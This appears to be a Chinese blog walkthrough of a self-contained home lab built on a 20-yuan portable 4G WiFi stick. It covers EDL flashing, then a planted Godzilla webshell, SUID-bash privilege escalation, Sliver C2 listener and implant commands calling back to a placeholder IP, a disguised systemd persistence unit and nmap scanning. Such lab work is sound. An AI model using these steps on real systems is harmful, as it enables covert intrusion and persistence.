发布于 

二十块的随身WiFi爆改:从EDL刷机到C2跳板

二十块能买什么?一杯中杯奶茶,两趟地铁,或者——一台高通 MSM8916(骁龙 410)方案、带电池、带 4G 模组、能跑完整 Linux 的口袋计算机。

这就是闲鱼上泛滥的二手随身 WiFi。它本质是一台微型 Android/Linux 设备:512MB 内存、4GB eMMC,五脏俱全。对硬件安全爱好者来说,这玩意儿是合法拥有的完整靶机——你拥有它、刷它、打它,都不用碰任何人的网络。对比网上几百上千的"硬件攻防靶场",这里是穷人的天堂。

我给它排了一条完整红队链路,五层,先上总览:

层级 打击点 核心技术 阶段成果
固件层 EDL 9008 模式 短接测试点 + edl.py 刷机 拿到系统控制权
Web 层 nginx + PHP 哥斯拉 WebShell 模拟失陷服务器
权限层 SUID 残留 find -perm -4000 排查 拿到 root
网络层 4G 独立出口 Sliver mTLS 通联 C2 长期驻留
横向 NAT 实验网段 nmap + 服务利用 打穿 Kali 虚拟机

这五层正好呼应上一篇《2026 硬件攻击面实录》里讲的信任链概念——每往下一层,就是一次信任边界的击穿。

老规矩一句话叠甲:全程只在我自己的设备和我自己的隔离网络里演练,这套流程别拿去碰任何不属于你的网。

EDL 刷 Debian:从 9008 开始

EDL(Emergency Download Mode,高通 9008 模式)是高通芯片的救砖/深度刷机通道,绕过一切系统层校验,直接跟 bootloader 之前的 Firehose 协议对话。对玩家来说,它就是"物理 root"。

进入方式两种:

  • 优雅姿势:系统还活着时,adb reboot edl 直接送进 9008;
  • 暴力姿势:拆机短接测试点对地,插 USB 进模式。随身 WiFi 拆开后主板上的测试点位置每款不一样,一般搜"型号 + EDL 测试点"能找到社区标注。

工具三选一:

工具 平台 优点 缺点
QFIL Windows 高通官方,按 rawprogram0.xml + patch0.xml 清单刷,稳 整机 dump 麻烦,不适合备份流
miko Windows 一键整机 dump/恢复,救砖神器 闭源收费,心里没底
edl.py 跨平台 bkerler 开源项目,脚本化、可自动化 Firehose programmer 要自己找

我选 edl.py,开源可审计,这是安全研究员的职业病。装好后第一件事不是刷,是 dump 原厂全盘:

git clone https://github.com/bkerler/edl.git
cd edl && pip3 install -r requirements.txt

# 按 GPT 分区表把所有分区备份到 out 目录
python3 edl.py --loader prog_emmc_firehose_8916.mbn rl backups

# persist 分区(射频校准)单独再备一份,怎么强调都不过分
python3 edl.py --loader prog_emmc_firehose_8916.mbn r persist backups/persist.img

划重点:persist 存的是射频校准数据,出厂唯一,刷丢了 4G 就没信号,设备变纯有线玩具。XBL/abl/modemst1/modemst2/frp 同理,全盘备份是刷机界的保险单。另外 Firehose programmer(prog_emmc_firehose_8916.mbn)必须匹配机型,不匹配轻则报错重则真砖。

然后刷社区维护的 Debian 11/12 ARM64 镜像(openstick 一类项目),最小化系统 200MB 存储 + 64MB 内存就能跑,对这台 512MB/4GB 的机器是富余的。刷完 USB 插电脑,设备枚举成 RNDIS 网卡,直连管理 IP——这类镜像默认 192.168.68.1:

ssh root@192.168.68.1        # 初始密码看镜像发布页
passwd                        # 登录第一件事:改掉初始密码
nmtui                         # 文本界面配置 WiFi/网络
apt update && apt install -y php-fpm   # 为下一层做准备

到这里,固件层完成:一块 20 块的板子,现在是一台我完全掌控的 ARM64 Linux 主机。

搭 PHP 环境:自己给自己下马

这一步的定位要说清楚:我是自己给自己下马。在实验环境里主动制造一个 Web 层失守点,模拟真实场景里被上传了 WebShell 的业务服务器——靶机的"伤口"要自己先划好。

最小化部署,nginx + php-fpm 足矣:

apt install -y nginx php-fpm
# Debian 12 默认 sock:/run/php/php8.2-fpm.sock
# nginx 站点配置里 fastcgi_pass 指向它,root 指向 /var/www/html
systemctl enable --now nginx php8.2-fpm

然后把哥斯拉生成的 PHP 马丢进 /var/www/html/。Web 层失陷点就位。

哥斯拉连马与 SUID 提权

哥斯拉(Godzilla)连这个 PHP 马:新建连接填 URL 和密钥,有效载荷选 PHP_EVAL,加密器随意。它比一句话+菜刀时代强在流量加密和 session 驻留(内存马机制,这里一句带过,值得单开一篇)。连上之后文件管理、命令执行、内网探测全都有。

命令执行是 www-data 权限,下一步提权。思路先讲清楚:为什么刷完的系统常有 SUID 残留? 因为社区镜像图省事,作者打包时塞了一些"方便门"二进制——本质上是 rootkit 式的后门逻辑,只是动机纯良。真实攻防里,这一层对应的是镜像供应链投毒和运维偷懒的历史遗留。

扫起来:

find / -perm -4000 -type f 2>/dev/null

在我这台的输出里,除了常规的 passwd、mount、sudo,混进了一个不该存在的 bash 副本(改名成了系统服务同款伪装名)。带 SUID 位的 bash 意味着直接 -p 拿 root,GTFOBins 上对应条目一查一个准。

拿到 root 后视角反过来:如果是防守方,此刻要做的是修复 SSH 配置、清理痕迹、删掉多余 SUID——攻防同一套命令序列,区别只在先后手。

Sliver C2:口袋里的长期驻留

WebShell 是入口,不是驻留。长期驻留选 Sliver:开源、多平台 implant、原生支持 ARM64 Linux、mTLS 加密通联、自带 pivoting——红队该有的它都有,还没有授权费。

服务端(我的另一台虚拟机):

./sliver-server
# 监听 mTLS
mtls --lhost 0.0.0.0 --lport 443
# 生成 ARM64 implant
generate --os linux --arch arm64 --mtls <出口IP>:443 --save ./out/

implant 传到随身 WiFi 上跑起来,sessions 里就能看到上线。

持久化用 systemd 伪装成系统服务,Restart=always 保证打死复生:

[Unit]
Description=System Network Daemon
After=network.target

[Service]
ExecStart=/usr/local/bin/.sysmond
Restart=always

[Install]
WantedBy=multi-user.target

而这台设备作为 C2 跳板的真正杀手锏是:4G 独立出口。流量不走家里/公司宽带,IP 随运营商漂移,通联路径和家庭网段完全解耦——这是它比树莓派更像"真实跳板"的核心原因。树莓派再小巧,网络身份还是蹭你的局域网。

(当然,在我的演练里,C2 服务器同样架在隔离网段,模拟的是这条链路"能跑通",而不是真的去驻留谁。)

内网横向:打穿 Kali 虚拟机

最后闭环。把随身 WiFi 插进我的实验网段(VMware NAT,和一台 Kali 虚拟机同段),它现在是一台已经失陷的内网主机,任务是从它出发摸清网段、找到 Kali、打进去。

在 implant 会话里(或经由它转发流量):

nmap -sn 192.168.68.0/24          # 存活探测,摸清网段成员
nmap -sV -p- 192.168.68.128       # 全端口+版本探测,锁定 Kali

Kali 上按剧本暴露了服务(一个版本带洞的 Web 应用),利用路径教科书级,不展开。至此链路闭环:从一颗物理短接点出发,五层打穿,终点是网段里另一台机器的 shell。

复盘整条链:

# 层 击穿的信任边界
1 固件层(EDL) 硬件 → 系统:物理接触即系统控制权
2 Web 层(PHP 马) 外部 → 主机:应用入口变代码执行
3 权限层(SUID) 低权 → root:纵向越界
4 网络层(C2) 单点 → 通道:失陷主机变跳板
5 横向(Kali) 主机 → 网段:信任边界横向蔓延

五层,每层一节课,串起来就是一条微型红队链路。

尾声:这台设备现在干嘛用

打完了,设备没退役,现在的常驻岗位:

  • bad USB 模拟:USB gadget 框架改设备描述符, HID 注入测试;
  • 口袋蜜罐:默认口令 SSH + 伪造 Web 面板,观察扫描器行为;
  • 旅行 VPN 网关:WireGuard 客户端,酒店网络里自营安全出口;
  • C2 实验盒:后续攻防演练的常驻基础设施。

给想复刻的读者一张清单:

环节 工具/物品 说明
设备选购 高通 MSM8916 方案随身 WiFi 20 元档,社区刷机资料最集中;展锐方案资料少,新手绕行
EDL 工具 edl.py(主力)+ QFIL(备用) 配合机型匹配的 Firehose loader
拆机短接 镊子 + 杜邦线 + 测试点图 搜"型号 + EDL 测试点"
系统镜像 Debian 11/12 ARM64 社区镜像 openstick 等项目,认准持续维护的仓库
Web 层 nginx + php-fpm + 哥斯拉 模拟失陷点
提权 find + GTFOBins SUID/能力排查
C2 Sliver implant 记得选 arm64
横向 nmap 限于自有隔离网段
排错 USB 转串口(TTL) 救砖终级手段,串口环境搭建见《嵌入式开发环境配置实战》
项目 花费(元) 备注
二手随身 WiFi 20 闲鱼价,全新也就 30 左右
镊子 + 杜邦线 5 短接测试点用
USB 数据线 0 手里现成
USB 转 TTL(可选) 10 救砖保险
合计 25~35 一杯奶茶加个面包,换五层攻防链

最后再重复一次边界:这套链路里每一步工具都是公开的,风险不在工具在指向——只打你自己的设备、你自己的网段。二十块买来的是靶场,不是许可证。